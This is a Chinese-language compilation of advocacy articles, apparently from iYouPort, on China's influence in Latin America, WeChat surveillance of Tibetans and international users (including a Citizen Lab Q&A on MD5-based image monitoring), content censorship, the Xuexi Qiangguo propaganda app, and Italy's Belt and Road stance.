最后，在政治方面，中国在各种外交场合表示，将尽可能提供挡箭牌，防止针对古巴和委内瑞拉的政权更迭行动。

中国和俄罗斯公开表示反对美国对委内瑞拉的单边制裁，中国政府目前正在与委内瑞拉就新的石油换贷款协议进行谈判。中国与古巴保持着非常密切的关系，2016年菲德尔·卡斯特罗去世时，习亲自前往古巴驻华使馆，向他三鞠躬致意（卡斯特罗是唯一一位受到这种待遇的外国领导人）。

美国对拉美的压力

2019年9月，特朗普的女儿伊万卡访问阿根廷。她前往胡胡伊，这是朝着与玻利维亚交界的地方。伊万卡·特朗普与约翰·沙利文（时任副国务卿）和美国政府的其他成员（来自国防部和美国国际开发署的官员）一起来到那里。她在普尔马马卡会见了胡胡伊省省长 Gerardo Morales，然后与美国政府海外私人投资公司（OPIC）的 David Bohigian 一起宣布了4亿美元用于被称为“锂路线”的道路建设（阿根廷与玻利维亚和智利构成“锂三角”）。这在玻利维亚彼岸被广泛认为是关于MAS对中国定位的声明。

Bohigian 将OPIC过渡到现在的化身—— 国际开发金融公司（DFC）。DFC 的项目 América Crece，直接是为了挑战中国在拉美和加勒比地区的投资。

2020年9月，美国国务卿迈克·蓬佩奥（Mike Pompeo）到访圭亚那，他支持埃克森美孚和其他石油公司向这个南美国家投资。

蓬佩奥说，圭亚那应该与美国石油公司达成协议，他声称—— 美国石油公司不腐败；“你看看这个”，蓬佩奥在提到美国石油公司的记录时说，“再看看中国的做法”，暗示中国企业腐败，像圭亚那这样的国家应该避开中国。

2019年4月26日，美国国务院负责西半球事务的助理国务卿金伯利·布赖尔（Kimberly Breier）对中国在拉丁美洲和加勒比地区的投资进行了全面攻击。

她说，中国人带着“一袋现金和虚假的承诺”来到非洲大陆；可惜她没有用任何事实例子来支持这些指控。

遗憾的是所有这些对中国的攻击在拉美地区都没有什么进展。例如，皮尤2019年的一项调查显示，50%的墨西哥人对中国有好感，而对美国有好感的只有36%；对习有好感的墨西哥人多于对特朗普有好感的人。

2020年9月，墨西哥经济部高级官员 Luz María de la Mora 表示，中国是墨西哥的“伟大榜样”。她说，中国是“促进我们经济复苏的伙伴”，帮助墨西哥“尽快摆脱疫情”。

毋庸置疑，美国现在和将来很长一段时间内都是墨西哥最大的贸易伙伴；但中国和墨西哥之间的新亲和力，特别是由于明年中国经济增长的预期，也很重要。尽管有来自华盛顿的压力，而且没有迹象表明2021年乔·拜登的新政府在此会发生任何重大变化，但墨西哥等这些拉美国家难以与中国决裂。〇

China Is Working to Expand Its Ties to Latin America

原文

微信如何征服西藏？ - iYouPort

中国-半壁高堡奇人

和汉人一样，藏人们知道监视的风险，但是许多人仍然选择放弃隐私人权只为了方便使用 ……

「图」

「图」

Jamyang Palden, a 30-year-old Tibetan Buddhist monk uses the WeChat app on his iPhone to leave a voice message for a friend in Tibet, in Dharmsala, India, Nov. 10, 2014.

Credit: AP Photo/Ashwini Bhatia

数字革命已成为迅速传播新闻和广播观点的关键因素。

在过去的十年中，社交媒体已经取代了印刷媒体，这标志着我们消费和传达信息的方式发生了转变。

由于科学技术的进步，共享新闻和信息变得更省时，更方便，并且更加分散。

但是许多人没有意识到便利已经使自己失去了隐私人权。当您在智能手机上执行日常工作时，您无意间已经共享了比您意识到的更多的致命数据。

- “方便”，从根本上来说，是强加给我们的《便利的暴政》
- 技术曾经是为富人服务的。现在富人正在付钱以避免技术……《穷人的屏幕》
- 《你的手机如何背叛了民主？》

便利与隐私人权之间的这种权衡，也体现在微信与藏人以及更大的西藏问题的诸多案例中。在我的研究中，我发现，藏族网民在使用由中国公司腾讯运营的微信时通常为了所谓的 “方便” 而放弃隐私。

- 微信是如何监控你的《微信 Is Watching You》
- 不仅仅是监视《在中国：TA为什么不使用微信？》
- 汉人也一样，几乎所有沉迷于集中化社交媒体的人都一样《什么是高峰冷漠？从白宫到微信》

全球最大的消息传递应用程序 WeChat 正在不断完善其技术 —— 目的是监控和审查每月超过 **9.63** 亿活跃用户的所有内容。

但是，仍然有70%的海外侨民继续使用该应用程序。

「图」

「图」

这种小广告到处都是

由于中国境内禁止使用很多全球社交媒体应用程序，海外藏人或在中国境内有亲属的任何人都倾向于下载该消息应用程序以保持联系。

想要与亲戚沟通的藏人别无选择，只能使用这种联系方式。

自腾讯首次推出微信以来的八年中，它已成为整个中国（包括西藏）的主导性社交网络平台。

该应用程序已发展成为一个互联网寡头，在全球拥有"超过10亿"的注册用户和每日**9.02**亿的活跃用户。2018年，该平台每天发送450亿条消息，比2017年增加18%。

迅速崛起的原因是，中国官方禁止在全球范围内普遍使用的美国寡头制造的社交媒体平台 —— 对外国应用程序（微信的竞争对手）的封锁和审查以及中国政府的补贴。

下图：高堡奇人的世界。民族主义是GFW的最重要目的之一

「图」

「图」

这也意味着微信的信息技术服务和软件从根本上就是不安全的。和美国一样，中国政府宣称对任何与所谓的国家安全有关的问题拥有全面的权力，并向中国公司施加压力，不仅要审查内容，而且在需要时移交用户数据。

然而，对于许多藏人来说，像微信这样的移动应用已经成为他们社交生活中不可或缺的一部分。

新闻和信息在微信和 Facebook 上像野火一样传播，尽管主流媒体仍在努力跟上步伐。

在对最近抵达印度的藏人的一次采访中，一位女士告诉我：“微信在许多藏族的日常生活中只会变得更加必要。”

同时，对微信进行的那种深入的审查和监视，与被逮捕藏人的人数惊人地增加基本有关。

结合最近的所谓 “新网络安全法” 的实施，许多藏人在使用微信时实行了严格的自我审查：仅仅讨论更多有关普通社会事务的信息，并重新发布和转发非政治性的消息。

这位藏族女士告诉我，她意识到自己的电话被窃听了，她的通话和短信都受到了监视。

在她离开西藏之前，使她惊讶的是，当政府的网络监管部门打电话给她时，他们能够准确重复她在网上说过的话和发送过的语音消息。

很简单，一切都被记录了。

流亡者的微信

在印度藏族社区的每个角落，都有大量的藏人沉迷于这个腾讯应用程序。

粘在电话屏幕上的人到处都是，许多人正在发送语音信息或视频消息、玩PubG、或使用其他功能进行通信。

微信的流行源于易用性，以及语音消息和不需要藏语读写能力的事实。这意味着可能看不懂藏语的人仍然可以参加群组聊天、并自信地分享他们的观点和想法。

作者于2018年对来自印度各地的550名参与者进行了实地调查，其中70.90%的藏人报告说，他们一直在使用微信应用程序与他们在中国西藏和全球各地的家人取得联系。

据报道，微信仅在流亡的藏族社区中得以普及。

「图」

「图」

藏人中最受欢迎的社交媒体平台。作者实地调查数据。

印度 McLodganj 的一位藏族路边摊贩解释说：

我父母在西藏，打电话很贵。他们被剥夺了接受正规教育的机会。我的朋友在2012年向我介绍了一个名为 WeChat 的软件。

我发现它非常好用，不一定需要快速的互联网连接和读写能力。从那时起，我一直在使用此应用程序。

我只需要按住按钮就可以随时与我的家人和亲戚聊天。我可以获得许多新闻和信息的更新。我甚至加入了一些聊天小组，并通过发表自己的观点积极参与了2016年西藏选举。

但我坚信，自从该应用程序在中国推出以来，我一直在受到监视。我很少谈论也不会发布任何与政治相关的消息和图像。

与我交谈的另一名藏族男子向我解释他在西藏的家人几乎每天都会通过微信与他交谈。

但是令人惊讶的是，有一天他发现自己已经被从家庭聊天群组中删除，他的父母在没有任何进一步解释的情况下封锁了他的账户。

他被告知他的家人正在微信上更改其个人资料照片和状态，但此后无法再发送消息或与他们联系。

此事件使他产生了疑问 —— 他认为中国网络警察可能警告过他的家人，不要与西藏以外的人联系。

微信和北京

腾讯已多次正式否认政府介入隐私事务。但是，中国官员审查和监控微信用户是一个公认的现实。

微信还在其隐私政策中声明，它可能会与 “政府、公共、监管、司法和执法机构或当局” 共享用户数据，以 “遵守法律法规”。

因此，在技术层面上，微信无法为用户提供任何免受政府监视的保

护。不论是藏人还是汉人，因传播信息而被捕并不足为奇。

作为一家总部位于中国的公司，微信受到该国所有有关内容控制的法律的约束，尽管微信声称是“加密”的，但是有大量证据表明，基于关键字的客户端审查和监控非常普遍，包括删除被视为所谓的政治敏感问题的一切消息。

一位从拉萨去欧洲留学的藏族女孩告诉我为什么她退出微信。

在家时，她创建了一个聊天小组，并邀请了30位同学参加晚餐聚会。但此后不久，令她震惊的是，政府官员对她进行了严厉的讯问，并警告她今后不要为同学建立任何聊天群组。

后来，由于缺乏隐私安全感而感到沮丧，她最终退出了微信。她进一步解释说：“被审讯后，我感到不安全，变得非常谨慎。我意识到这个中国应用程序绝对不安全。”

事实上这个问题远大于微信本身。

在西藏的一些村庄，警察直接抢走人们的手机，并在其中安装秘密的监视应用程序，该应用程序从电子邮件、短信和联系人中提取大量数据。

该监视应用程序搜索一系列材料的信息，包括达赖喇嘛的文学作品和任何被认为具有所谓的政治敏感性的消息。

- 甚至还有通过加密通信的网络攻击，见《警告：WhatsApp文本流中的恶意链接》
- 报告《中国在西藏构建了强悍的数字隔离墙》

当局继续借助微信进行严打，这是对整个中国社交媒体进行更广泛镇压的一部分。

如果当局发现哪个用户对“在线谣言”负有责任，他们将面临入狱威胁。

中国一直在严厉打击对藏族人民表示同情和支持的微信用户，并阻止任何途径传播有关信息。因此，在微信上分享所谓的“非法”内容的限制和惩罚，一直在不断增加。

除了臭名昭著的防火墙外，政府还可以审查特定的词语，以尝试控制任何给定事件的叙述，全方面剥夺言论自由。

但许多藏人用户和中国网民很喜欢使用图像和 meme 来轻松地刻画一个严肃的话题，并进一步增加信息的传播。

所谓的 “假新闻”

信息的大量涌入导致大量有关西藏局势的消息在传播。但是请注意，事实上你很难指出哪个消息是虚假的谣言。

由于涉及严密的封锁，因此很难验证主要通过社交媒体发布的有关西藏的新闻。于是，解释权完全由当局掌握。

“假新闻” 的传播已成为全球关注的问题。由虚假帐户创建的误导性的或令人困惑的在线内容可能会损害任何社会的民主。

- 《为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？》

不幸的是，人们经常会非常认真地对待谎言和谣言，藏人之间毫无根据的指控很可能严重阻碍争取提倡西藏事业的斗争。

在藏族运动中越来越多的妄想症和可能的分歧背后的一些关键因素是谎言和未经证实的谣言，这些谣言是由诸如微信和 **Facebook** 之类的流行社交媒体上的许多虚假账户创建的。

这些平台缺乏传统媒体所具有的保护和验证流程，因此引起了对散布虚假的或误导性信息的广泛担忧。

传统媒体与新媒体的融合作为一种信息传播手段，引起了人们对以下问题的质疑：如何在监管与审查之间划清界限，以及如何在言论自由与煽动性和挑衅性言论之间取得平衡。

在享受微信带来的好处的同时，人们应该提防其负面影响。

简而言之，尽管微信已经成为并将继续成为社交互动和桥接私人和公共生活的流行媒介，但是该应用程序的安全性和共享内容的暴露性仍然是每个人需要斟酌的当务之急。〇

作者：Tenzin Dalha 是西藏政策研究所的研究员，从事中国网络安全政策和西藏社会社交媒体格局的研究。

原文

微信对国际用户的监控增强了中国的审查制度 - iYouPort

中国-半壁高堡奇人

国际用户之间发送的图像和文件，被训练审查算法

「图」

「图」

我们在5年前提醒过《GFW的反转》，即 通过国际扩张，将自由区域的用户拉到不自由区域内。

那是5年前的文章，该现象至今依旧如此。这是高堡奇人的一个典型症候 —— 扩张、覆盖、裹挟。数字殖民是思想层面的，而不仅仅是技术物理层面。

最近，多伦多大学公民实验室的研究表明，流行的社交网络应用程序微信的加拿大用户可能正在 “帮助” 这家中国公司审查其在中国的用户。

允许用户发送消息、在社交网络上进行交互、并进行数字支付的微信，由中国通信寡头公司腾讯拥有，是中国最受欢迎的社交网络应用。在全球范围内，它拥有超过十亿的用户。

公民实验室（Citizen Lab）的研究发现，当在中国境外注册的用户之间发送的文件和图像被发送给中国境内的用户时，会触发审查。

Citizen Lab 主管 Ron Deibert 说：“该公司实际上是对一部分用户进行政治监视，这些用户正在中国大陆以外使用微信的国际版应用程序。”

“这些数据被用来训练审查算法，以便更好地对中国大陆用户进行审查和监视。这真是很令人震惊。”

在2019年11月至2020年1月的三个月内进行了一系列测试之后，Citizen Lab 得出了结论。

Deibert 说："这里存在一个道德问题。你使用了这个应用程序，你实质上是在为中国境内的数字压制机器的完善提供了免费劳动力。你已经成为帮凶"。

公民实验室的研究人员说，他们从1月开始仔细检查了微信针对中国境内和境外用户的服务条款和隐私政策，并多次要求腾讯的国际数据保护办公室提供信息。问题集中在微信的政策及其如何共享和使用国际用户数据上。

Deibert 说："我们没有得到很多有意义的东西，当然也没有任何指向这种数据实践的东西。"

"此外，当我们向他们发送有关我们报告的问题时，腾讯公司没有回复我们。"

审查关键字和图像

据德国数据和分析公司 Statista 的数据，微信拥有超过十亿的用户，是仅次于 WhatsApp 和 Facebook Messenger 的全球第三大流行的短信应用程序。 Deibert 说，目前尚不清楚加拿大有多少人使用该应用程序的国际版本。

Apple App Store 和 Google Play Store 中都提供了微信。

苹果拒绝对调查结果发表评论，而谷歌没有回应多项评论请求。

公民实验室先前发现，微信会审查用户使用已注册到中国电话号码的帐户发送的内容中某些关键字，但不会审查具有国际电话号码的帐户所发送的某些关键字，并且，微信会审查其认为具有政治意义的中国图片。

National Post 说，去年，加拿大用户与中国用户进行群聊时，他们的某些消息被阻止。

审查是如何进行的

公民实验室的研究人员使用新创建的微信帐户建立了两个群聊，一个使用中国境外的电话号码注册的帐户，另一个是使用中国的电话号码

注册的帐户。

Citizen Lab 的研究显示，微信会扫描通过该应用发送的所有文件和图像以获取MD5哈希，本质上是图像的数字指纹。公民实验室团队对两个不同的图像进行了相同的哈希处理，一个是最近几年去世的著名政治异议人士的图像，另一个图像并不敏感，只是普通图像。

“我们会在国际用户群组中发送政治敏感的图像。然后，在一分钟后，我们将具有相同哈希值的不敏感图像发送给中国用户群组，然而不敏感的图像受到了审查，” 公民实验室的研究助理 Jeffrey Knockel 说。

“除非在国际用户中进行政治监视，否则就没有办法解释为什么不敏感的图像会被屏蔽。”

研究人员还使用文件进行了测试，结果发现，敏感的文件在非中文帐户之间传送后，再对中国帐户传送，就会被审查。

研究人员警告说，他们不知道是否对微信上发送的文本信息也使用了相同的监控。

隐私问题

不列颠哥伦比亚大学亚洲国际关系教授 Paul Evans 阅读了公民实验室报告后表示，他偶尔会继续使用该应用程序，但他建议他的学生，尤其是来自中国的学生，要小心。

他说：“一段时间以来，我们一直能意识到微信针对中国用户的审查和监视活动。现在我们也意识到，它对外国用户的监视”。

安大略省前隐私专员 Ann Cavoukian 说，该报告表明隐私专员需要采取行动。

“例如，如果我是专员，我要向安大略省的每个人都清楚说明使用微信的后果，您的信息可能会流向未知的第三方，并再次返回来困扰你。”

Cavoukian 表示，她对公民实验室的发现并不感到惊讶，而且一般人都需要意识到自己的数据有多值钱。

她说：“我并不是说其他消息传递应用程序就不收集信息。Facebook 和 Instagram 都在这样做，但就您信息的潜在用途而言，中国的微信

可能完全不同。”

她警告说，任何在中国的应用程序都可能包括对用户的监视。

与公民实验室研究人员的问答

1、微信如何进行审查？

微信通过服务器端进行内容审查，审查机制存储在服务器上。

信息从一方微信用户发送到另一方时，它会途径腾讯（微信的母公司）管理的服务器，服务器在把信息传递到接收方时会先检查该信息是否含有敏感词。

「图」

「图」

含有敏感词的信息会被屏蔽，微信不会对信息发送方或接收方进行屏蔽提示。

以下截屏显示的是两个中国大陆电话号码注册的微信账号的聊天界面。一个账号试图发送关键词“法轮功”，该关键词被屏蔽，但没有任何信息提示发送者或接收者信息被屏蔽了。

「图」

「图」

2、中国大陆微信账号与非中国大陆微信大陆账号有什么区别？

中国大陆账号指的是最初注册时使用中国大陆手机号码注册的微信账号。非中国大陆账号指的是最初注册时使用任何除中国大陆以外的手机号码注册的微信账号（比如使用加拿大或者美国手机号码注册的微信号）。

中国大陆注册账号适用的是中国大陆地区管辖区（主要是深圳市）的用户协议，并且会受到内容审查。

非中国大陆账号适用的是除中国大陆以外的管辖区（主要是新加坡）的用户协议。

此前研究指出，非中国大陆账号不受审查影响。不过，我们最新的研究表明，非中国大陆账号之间的文档和图像传输会受到监控，含有政治敏感内容的文档和图像会被添加到针对中国大陆账号的审查列表中。

3、你是如何发现非中国大陆账号存在被监控行为的？

我们曾被问及，非中国大陆注册账号是否只要不与中国注册账号通讯就不存在针对政治内容的监控。

根据我们的研究，非中国大陆注册账号之间的通讯不受审查，所以我们当时的回答是“我们认为非中国大陆注册账号之间的通讯也不受监控。”

然后我们开始好奇，如何用科学的方法测试是否不存在监控？

监控甚少无缘无故地发生，很多时候实施监控是为了其他目的，比如用来完善日后的审查机制等。

基于此前的研究，我们知道微信如何通过监控图像和文件来自动过滤敏感内容。

研究非中国大陆注册账号的困难在于非中国大陆注册账号之间不存在内容审查，所以要测试它们是否受监控我们必须使用两个不同的聊天环境：第一个是非中国大陆注册账号之间的聊天环境，用以触发监控；第二个是含中国大陆注册账号在内的聊天环境，用于监测审查变化。

当我们在仅含有非中国大陆账号的聊天环境中发送政治敏感内容，我们观察到第二个聊天环境中审查内容有所增多，这表明第一个聊天环境中的内容是受到监控的，即使它并不含有任何中国大陆账号。

4、微信如何分析、标示、并存储敏感文件？

文件会被扫描是否存在敏感文字。图像也会被扫描是否含有敏感文字，此外，图像还会被与系统现有的敏感图库比对，分析目标图片是否与图库内的其他图片相似。

如果文件被系统定义为政治敏感，文件的MD5值会被标示。微信会储存这个MD5值，以备下次更有效率地过滤这些文件。

5、微信通过消息摘要算法版本*5*（*MD5 hash*）来迅速辨识并标志敏

感内容。*MD5*值是什么？

MD5是一种数字指纹。MD5算法可以用来把体积大的文件缩小至一个“哈希值”。

哈希值通常由一个短的随机字母和数字组成的字符串组成。按照MD5算法的不可逆性和唯一性设计，不同的文件应该拥有不同的MD5值，但实际上该算法在漏洞。

由于微信使用MD5算法存储敏感文件的哈希值，我们利用了算法的漏洞来设计本研究。我们把两份内容不同的图像文件修改成一样的哈希值，其中一张图像含有政治敏感信息，另一张是普通的图像文件。

我们的测试显示，敏感图像在非中国大陆注册账号中传输后，拥有一样哈希值但是不含有敏感信息的图像在中国大陆注册账号中被审查了。

测试结果表明，非中国大陆注册账号间的通讯必然存在监控，因为非敏感图像的数字指纹不可能被微信系统标示成敏感信息。

下图展示了把文档或图像转换为MD5值的过程。在下图的例子中，两张不同的图像通过加密算法转换成两个唯一的MD5值。

「图」

「图」

6、这项研究存在哪些不足之处？

其中一个不足指出是我们的技术分析只能表明图像和文件是否被监控。我们目前无法得知文字通讯信息是否被监控。

在没有实质性证据前，我们提示用户有这个可能性。另一不足之处是我们的研究时间跨度数月。

虽然我们持续稳定地观察到针对非中国大陆账号的监控行为，但我们无法判断这种监控行为是否恰好在我们研究进行的时期出现。

这种监控行为也有可能已存在数年，或者一直存在。

7、对于微信非中国大陆注册账号的用户来说，这项研究的结论意味着什么？

在中国大陆以外的微信用户或许会以为微信的审查和监控机制并不影响他们。但是，我们的研究表明，用户不仅会因为政治敏感内容受到监控，用户所发的内容也会被用于训练微信针对中国大陆注册账号用户的审查系统。

8、这些研究结果是否意味着中国政府在监控微信的国际用户？

根据中国网络安全法，中国政府有权以国家安全和侦查犯罪为由要求互联网公司提供其接收到的或存储的信息。

具体就微信而言，其中国用户适用的是中国大陆的用户协议以及隐私政策，而国际用户适用的是基于新加坡的用户协议和隐私政策。

我们研究的初衷是希望了解这些签订基于新加坡的用户协议及隐私政策的微信国际用户之间的通讯时候会被分享和传输到微信位于中国的团队，或者腾讯其他位于中国的子公司。

我们希望借此了解微信国际用户的通讯是否不受诸如微信针对中国大陆用户的监控。

我们的实验显示微信国际用户之间的交流通讯会被用于扩建微信针对中国大陆用户的审查系统。

然而，我们的研究无法支持腾讯与中国政府分享微信国际用户通讯记录这样的说法。

虽然我们的研究表明微信对国际用户实施内容监控，但我们没有其他确切证据明晰哪些内容被监控，监控的所有动机，以及微信与谁或哪些机构分享了这些监控数据。

9、难道不是所有的社交媒体平台都或多或少存在监控吗？微信和其他社交媒体平台的行为有什么不同？

本报告之所以特别指出微信存在的监控行为，是因为监控的内容的特殊性，监控针对的是在中国被视为政治敏感的内容。

这当中包括批评政府以及呼吁人权关注的内容。微信的内容监控之所以独特，是因为所监控的内容对象不同，而且微信的监控系统也是有所选择地对用户实施。

我们的研究显示非中国大陆微信账号之间传输的内容会受到监控，其中政治敏感的内容会被用于训练和扩大微信针对中国大陆账号的审

查。

据我们所知，目前社交媒体平台所采用的监控系统中，只有微信是利用对一类用户实施监控所获得的数据来增强其对另一类用户的监控和审查。

10、这些研究结果如何帮助我们理解中国的数字审查？

就我们所知，本研究是目前为止第一个提供实质技术证据证明微信（一款用户数量遍布全球的软件）对国际用户进行内容监控，并且通过这些监控来训练针对中国大陆注册用户的审查系统的研究。

此前针对中国的数字审查的研究大多集中在中国以内审查如何进行或者哪些内容会被审查。

近年来，中国公司日益全球化，這些公司在满足国际用户的需求的同时，需要在中国国内遵守内容管控相关的法律。

我们的研究结果在这个大环境下显得尤其重要。

11、中国的内容管控范围有多广？

中国有一套针对互联网，应用程序，和媒体的内容管控系统。所有在中国境内运营的互联网平台都必须遵守当地针对内容管理的法律法规。

互联网公司须对平台上的内容负责，如果内容不当，公司会面临被罚款或者运营牌照被吊销的后果。

这个系统的复杂之处在于当地与内容管理相关的法律法规界定模糊。比如，“扰乱社会秩序，破坏社会稳定”的内容是不被允许的，但对于什么内容“扰乱社会秩序，破坏社会稳定”没有明确定义。

互联网公司可能会在重大事件期间收到政府指令，但我们的研究显示中国目前并没有一份集中下发到公司的统一的关键词表。

公司需要自行审读有关条例和政府指令，自行鉴定如何过滤内容以及具体哪些内容需要被过滤。

我们过去的研究显示，微信会在敏感时期和重大事件期间会广泛地审查内容，比如最近针对新冠疫情的讨论。

12、研究结果指出哪些可能的法律问题？隐私协议难道不是应该告知用户相关的监控行为吗？

包括苹果和谷歌在内的应用软件平台服务商会要求应用软件提供隐私条例。许多国家也有相关法律要求公司阐明它们如何收集，处理，和存储用户数据。我们的研究显示微信国际版本的隐私条例和用户协议并没有充分告知用户他们的数据会被如何使用。

针对这种情况，部分地区的隐私专员可以以误导用户为理由给公司开出罚单。不同地区有不同的罚款规定，罚款可从数百，到数千，乃至数百万元。在某些国家，比如加拿大，居民可能向联邦隐私专员提出申诉，隐私专员可以向公司提出如何改进服务的建议。

平台服务商，如苹果和谷歌， 可以基于误导消费者和不准确提供隐私条例的理由从平台上移除相关应用。

最后，政府机构可能会调查微信如何在程序中植入内容监控。调查结果可能会导致某些政府机构禁用微信，甚至基于国家安全的理由强制平台移除软件。

13、这项研究与此前针对新冠病毒的审查研究有相关之处吗？

我们上一份报告指出微信广泛审查与新冠病毒有关的内容。因为微信采取“一APP两制”的审查系统，审查影响所有使用中国大陆手机号码注册的用户。

这一份报告指出的是，微信的内容管控并不限于中国大陆注册账号。微信针对非中国大陆注册账号进行了内容监控。

我们并没有测试与新冠病毒相关的内容是否被监控和增加到针对中国大陆账号的审查列表中，但我们的研究结果表明微信有能力这样做。

以下截屏展示了我们在上一份报告中观察到的微信针对新冠肺炎的内容审查。一名用户试图发送同时含有“美国疾控中心” 和 “冠状病毒”的信息，但由于“美国疾控中心”和“冠状病毒”这两个词组成了敏感词组，中国大陆微信账号并没有收到这些信息。

「图」

「图」

14、你们未来的研究计划是什么？

本次报告我们发现了微信如何在国际用户中监控文件和图像传输，我们会持续本项研究，并关注类似的监控行为是否发生在文字传输中。
○

WeChat Surveillance Explained

WeChat’s surveillance of international users boosts censorship in China, researchers say

原文

恶劣的“微妙”：审查在中国不完全关乎政治 - iYouPort

中国-半壁高堡奇人

过去，中国政府主要审查政治敏感内容，如今他们开始转向了算法推荐的所谓的“低俗”娱乐内容——就是本网曾分析的信息自由末日启示录“四骑士”之一。依靠算法向用户推荐内容的今日头条昨天宣布关闭内涵段子应用，而主要移动和社交媒体也纷纷宣布“整顿”。

新浪宣布联合秒拍、一直播，对自身平台中可能存在的违规违法内容开展持续三个月的专项清理行动；微信、QQ 关闭播放快手、抖音、微视、西瓜视频等；今日头条关闭 App 内语录、段子、趣图、美图和美女共 5 个频道；抖音短视频关闭视频直播和评论功能…

此前最近的关于的“四骑士”中国审查的消息是：在被 CCTV 指责宣传未成年人怀孕后，中国最热门的两个视频平台在应用商店中消失了。随着中国政府对互联网的管控扩大，不仅包括被认定具有政治颠覆性的内容，所谓的“不健康或色情内容”也归入其中。我们在 Google＋上发布的报道已被删除，原因不详。

表面上看它就是审查，已经延续了四年多的所谓“净网运动”，但其具体操作则非常微妙。

中国的审查标准从来模糊，给了裁决者很大的滥用空间。其滥用往往有三种：即为刺激出更多出于讨好立法者的自我审查、金钱或政治利益相关的不公正打击、寻租。可能性高低全凭具体事件所具备的条件。

比如最近又开始刷的“郭德纲作品被下架”的消息，本身是假的，不过不排除恐吓性宣传的目的。

在中国，审查应该就具体案例分析，而不是意识形态。意识形态只是一种装束，不论是双边谈判、还是国内审查，都是如此，前者提醒更新地缘政治心理学，后者属于人情社会交易型关系一种特殊表现形式。这与美国的几乎完全基于政治信仰的审查有很大区别，外媒不一

定能理解。

审查本身就是在扼杀言论自由，不论当权者使用哪种理由，哪怕它听起来再合理，因为不论你想过滤什么样的内容，首先都要实施对信息的全面拦截，其中被波及者绝大多数都是无辜的。我们曾经对此有过较为具体的解析，详见：《为自由而战（二）》。

关于审查之恶，我们将在近期更多详细分析，也许将出现很多你未曾了解过的信息，欢迎关注“审查与自我审查”栏目的更新。

原文

意识形态恐吓工具 - iYouPort

中国-半壁高堡奇人关于中国社会

这是一个苹果商店中国地区下载量最大的应用程序，拥有超过1亿用户… 为什么该APP如何“热门”？

「图」

「图」

这是一个苹果商店中国地区下载量最大的应用程序，拥有超过1亿用户，它可以阅读文章、可以参加测验、了解社会主义理论、观看习近平和共产党的政治宣传视频。“学习强国”是由中共中宣部和阿里巴巴科技公司的舆情研究部门开发的，它被比作“毛主席的红宝书”。

在这里看到关于“学习强国”的更多分析《强国之控》。

这个应用程序已经不仅仅是“红宝书”了—— 一个被许多人视为60年代和70年代中国文化大革命期间的生存工具—— 因为“学习强国”在国内的广泛分布，并且是在政党的压力下让人们参与其内容的。

用户只需登录和阅读文章即可获得积分，但要真正收到有意义的分数，需要协同努力（或作弊）。它还禁止你谈论任何有关对应该用程序或对政府的批评。一位评论该应用程序的记者表示，当她被提示发表关于她对这种体验的看法的评论时，该应用程序显示：“只有有效的观点才能获得积分”，“好的评论将优先被展示。”

“我们必须爱我们的国家，”35岁的退伍军人 Jiang Shuiqiu 告诉纽约时报，“我们越来越强大了。” 据报道他是长沙的最佳射手。

报道说，学校、企业和政府办公室都在使用该应用程序的分数系统作为一种评判方式，充其量只能激励人们，更糟糕的是，惩罚他们。

但报告中说明的例子表明了该应用程序如何被用作意识形态恐吓的工具—— 公司员工被按其应用程序的使用情况进行排名，据报道，一些雇主强迫员工每天向领导层发送分数截图。

“我们被告知必须每天至少得30分，”华南地区的一名政府雇员告诉南华早报，“我可以通过点击文章和视频来获得该分数，但我必须调整设置以避免超时。”

北京的两名公务员称，在应用程序上的使用情况方面他们很少受到上级的监督，但是，“纽约时报”报道说，有一些政府办公室组织了研究会议，让那些没有保持‘接受分数的‘工人写检讨书。

并且，该应用程序的使用量激增并不仅仅是暴虐上司的结果—— 据报道，获得足够积分的人也可以使用其分数来兑换某些商家的折扣或者进入一些旅游景点。

目前还不清楚将“学习强国”应用程序纳入常规例程会对个人用户产生哪些影响，“分数不够”的人会不会被雇主追究责任？或以获得折扣为动机被强制？据“纽约时报”说，是中国宣传部负责收集和分析用户数据，包括他们的名字、照片、视频和联系人。

用户还可以与应用程序内的人进行文本、呼叫和视频聊天—— 它可以与阿里巴巴的消息应用程序 **DingTalk** 一起使用—— 这意味着该国的政党可以访问一些潜在的私密关系数据和其他致命信息。

“你不能转移注意力，”澳大利亚皇家墨尔本理工大学研究中国媒体的教授 Haiqing Yu 告诉纽约时报，“这是一种数字监控。它已经将数字独裁带到了一个全新的高度。“

China’s ‘Little Red Book’-Like App Is Blowing Up the Charts. the examples illustrated in reports indicate how the app is used as a tool for ideological intimidation

原文

时局："一带一路" 最近发生了什么？ - iyouport

中国-半壁高堡奇人

"一个巨大的设计，旨在控制贸易流动和控制主要的全球价值链。如果你控制了这些，你就不需要再控制任何军队"

---

https://t.me/iyouport/8931

本文 是一系列来自近期的报道和时局分析。

E U

「图」

罗马和北京要分手了吗？这意味着什么

「图」

> 意大利对中国投资的热情最近有所降温，跨大西洋主义、安全风险和国内怨恨，是为决定性因素。意大利的心态变化得到了欧盟的认同，欧盟终于对中国在欧洲的经济活动形成了协调性的和基于价值观的回应。

2019年3月21日，中国国家主席习近平登陆罗马，就中国庞大的 “一带一路” 倡议与意大利签署协议。在500名高级别政治和经济领导人的陪同下，习近平受到了豪华的迎接。他在大约30份经济备忘录上签下了自己的名字，代表了预期的中国投资热潮现在将进入该国。

作为第一个参与 BRI 的七国集团经济体，罗马撇开了美国和欧洲盟友的尖锐批评。从的里雅斯特到罗马的政治家和商界人士都对200亿美元的基础设施投资的承诺和在中国各地看到 “意大利制造” 的机会大加赞赏。“意大利赢了，意大利公司赢了”，签字时的副总理路易吉·迪马约说。

迪马约和他的五星运动是意大利总理朱塞佩·孔特(Giuseppe Conte)的第一届政府(2018–19)对中国大力示好的关键设计师。现在，大约两年半的时间和两届政府之后，罗马表现出明显的不同态度。

尽管马里奥·德拉吉的政府包括许多相同的人，但对中国的语气却更加冷淡。政府的行动反映了一种不同的计算方式。它在2021年春天阻止了两项主要的中国投资，并在6月支持了北约对中国的 “胁迫政策” 发出的严厉警告。意大利外长明确表示了该国的立场：“意大利是中国强有力的贸易伙伴；我们有历史性的关系，但这些不会干扰我们与美国和北约的关系”。

意大利的新道路是若干国内和国际因素的产物，反映了塑造国家政策的各种力量的碰撞。这些会不会在欧洲其他重要的中国活跃的国家—— 首先是德国和法国—— 产生类似的变化？这将具有跨大西洋的意义，因为处理与中国的关系是美国的核心外交政策挑战。

罗马交易

「图」

